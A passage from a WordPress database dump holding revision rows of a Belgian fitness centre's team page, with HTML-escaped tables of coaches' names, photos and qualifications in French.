src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Formateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\r\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-402\&quot; alt=\&quot;julie_rogge_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/julie_rogge_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Rogge&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en Education Physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en préparation physique et entrainement du sportif&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Entraîneur de volley-ball&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de volley-ball, natation et course à pied&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-420\&quot; alt=\&quot;youssra_boujat_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/youssra_boujat_pti.jpg\&quot; width=\&quot;198\&quot; height=\&quot;258\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Youssra Boujat&lt;/h2&gt;\r\n&lt;h5&gt;Instructeur de Zumba Fitness&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Etudiante infirmière à l\'HENALUX&lt;/li&gt;\r\n	&lt;li&gt;Basketteuse au Belfius Namur Capital&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de courses à pieds et de fitness&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2014-01-20 20:38:29', '2014-01-20 20:38:29', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(422, 1, '2014-01-20 20:39:28', '2014-01-20 20:39:28', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Formateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\r\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-402\&quot; alt=\&quot;julie_rogge_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/julie_rogge_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Rogge&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en Education Physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en préparation physique et entrainement du sportif&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Entraîneur de volley-ball&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de volley-ball, natation et course à pied&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-420\&quot; alt=\&quot;youssra_boujat_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/youssra_boujat_pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Youssra Boujat&lt;/h2&gt;\r\n&lt;h5&gt;Instructeur de Zumba Fitness&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Etudiante infirmière à l\'HENALUX&lt;/li&gt;\r\n	&lt;li&gt;Basketteuse au Belfius Namur Capital&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de courses à pieds et de fitness&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2014-01-20 20:39:28', '2014-01-20 20:39:28', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(423, 1, '2014-01-20 20:40:16', '2014-01-20 20:40:16', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et 